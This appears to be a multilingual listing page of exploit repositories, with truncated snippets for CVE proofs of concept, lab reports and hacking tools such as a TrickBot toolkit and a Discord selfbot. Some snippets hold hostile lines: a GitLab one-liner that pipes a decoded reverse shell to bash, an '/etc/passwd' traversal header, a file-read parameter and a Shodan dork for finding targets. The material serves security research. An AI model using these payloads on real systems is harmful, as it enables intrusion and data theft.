CVE-2021-33558

CVE-2021-33558 Référence: https://www.cvedetails.com/cve/CVE-2021-33558 Shodan dork: product:"Boa Web Server" 0.94.13 Charge utile: /backup.html /preview.html /js/log.js /log.html /email.html /online-users.html /config.js POC:...

CVE-2023-40924

BUGAuthor: YE Затронутая версия: Contec SolarView Compact 6.00 Поставщик: https://www.contecinc.com/ Файл уязвимости: downloader.php Описание: Злоумышленник эксплуатирует уязвимость через downloader.php? Параметр file позволяет читать конфиденциальные файлы через обход каталога. downloader.php?fi...

CVE-2024-53677

CVE-2024-53677 - Environnement de reproduction de la vulnérabilité d'exécution de code à distance RCE dans Apache Struts 2 Ce dépôt fournit un environnement basé sur des conteneurs pour reproduire la vulnérabilité CVE-2024-53677 dans Apache Struts 2. Cette vulnérabilité implique un contournement ...

CVE-2017-10617

CVE-2017-10616 и CVE-2017-10617 Эти две уязвимости затрагивают Juniper Contrail версии 2.2, 3.0, 3.1 и 3.2: Жестко заданные учетные данные CVE-2017-10616 Внешняя сущность XML CVE-2017-10617 Бюллетень безопасности вендора можно найти по адресу Juniper Security Alert JSA10819 2017-10. Уязвимый серв...

web-wordlist-generator

WEB-Wordlist-Generator NOTE : Vous devez absolument l'utiliser pour des activités légales. Veuillez consulter ; USAGEPOLICY.md LICENSE Description WEB-Wordlist-Generator analyse vos applications web et crée des listes de mots associées pour prendre des contre-mesures préliminaires contre les...

DiscoRape

DiscoRape DiscoRape est un selfbot pour Discord écrit en python3.8 Le dépôt original dont j'ai fork ce projet se trouve ici fait par EC-discord Aperçu 📝 Installation/Exécution pip3 install -r requirements.txt Ajoutez votre token dans data/config.json exécutez en faisant python3 selfbot.py ou vous...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 однострочный bash PoC для GitLab preauth RCE CVE-2021-22205 t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

CVE-2024-42640

CVE-2024-42640 Неаутентифицированное удалённое выполнение кода через библиотеку Angular-Base64-Upload CVE-2024-42640 Angular-base64-upload версии до v0.1.21 уязвимы для неаутентифицированного удалённого выполнения кода через конечную точку angular-base64-upload/demo/server.php. Эксплуатация этой...

cve_2022_0847_shellcode

cve20220847shellcode Description Ce dépôt contient un script Python genshellcode.py, basé sur pwntools, pour générer un shellcode exploitant CVE-2022-0847. Le shellcode est basé sur ce PoC : antx. J'ai analysé le code du PoC et son exécution avec strace pour capturer tous les appels système...

HackerInfo

HackerInfo Installation : sudo apt install python3 python3-pip pip3 install termcolor pip3 install google pip3 install optioncomplete pip3 install bs4 pip3 install prettytable git clone https://github.com/Matrix07ksa/HackerInfo/ cd HackerInfo chmod +x HackerInfo ./HackerInfo -h python3...

CVE-2023-3824

PHP PoC вредоносного Phar-файла CVE-2023-3824 Описание Этот PoC демонстрирует, как создать вредоносный Phar-файл в PHP и вызвать уязвимость переполнения буфера. Использование Создание вредоносного Phar-файла 1. Создайте новый PHP-файл например, createphar.php и добавьте следующий код:...

CVE-2022-44268-ImageMagick-Vulnerable-Docker-Environment

CVE-2022-44268 ImageMagick Произвольное чтение локальных файлов https://www.metabaseq.com/imagemagick-zero-days/ На основе PoC CVE-2022-44268 ImageMagick Arbitrary File Read PoC я создал среду для тестирования уязвимости с помощью Docker. Использование get image docker pull...

uc_httpd_exploit

uc httpd эксплойт lighthttpd Простой uc httpd эксплойт, написанный на Python 3.. этот эксплойт основан на CVE-2014-2324 Описание Множественные уязвимости обхода каталогов в 1 modevhost и 2 modsimplevhost в lighttpd до версии 1.4.35 позволяют удаленным злоумышленникам читать произвольные файлы чер...

TrickBot-Toolkit

TrickBot Набор инструментов для работы с TrickBot ConfigDecrypter.py Используется для расшифровки конфигов TrickBot находятся в каталоге установки под именем config.conf Пример использования: ConfigDecrypter.py -input config.conf -output config.txt FileDownloader.py Используется для загрузки файл...

CVE-2019-5418

CVE-2019-5418 Тестовый пример Запуск : $ rails s PoC : Accept: ../../../../../../../../etc/passwd Запрос 1 - GET /shitblock HTTP/1.1 Host: REDACTED:3000 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:65.0 Gecko/20100101 Firefox/65.0 Accept: diyarbakirguzelbaglardelalelorke ------ CATCH...

CVE-2026-93679

IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to cause a denial of service due to uncontrolled resource consumption during ZIP file extraction...

proftpd-mod_copy-cve-2015-3306

Vulnérabilité ProFTPD 1.3.5 modcopy CVE-2015-3306 Ce dépôt contient le rapport de laboratoire pour l'exploitation d'un service ProFTPD 1.3.5 vulnérable sur la plateforme Hackviser. Le laboratoire démontre un accès non autorisé à un fichier sensible secret.txt en utilisant la vulnérabilité modcopy...

CVE-2019-8389

CVE-2019-8389 - Произвольное чтение файлов в Musicloud для iOS v1.6 CVE-2019-8389 Эксплойт-код для эксплуатации уязвимости локального чтения файлов в приложении Musicloud v1.6 для iOS Описание: Уязвимость чтения файлов была обнаружена в функции передачи через Wi-Fi в Musicloud 1.6. По умолчанию...

EUVD-2026-94153

An HTTP header injection vulnerability in start-page-loader.cgi of ADM allows an unauthenticated remote attacker to read arbitrary files on the host system. By sending a crafted HTTP request with injected headers via the state parameter, the attacker can leverage the underlying web server's...

CVE-2026-105324

An HTTP header injection vulnerability exists in the start-page-loader.cgi component of ADM . This flaw allows an unauthenticated remote attacker to read arbitrary files on the host system by sending a crafted HTTP request with injected headers via the state parameter . The attacker can exploit t...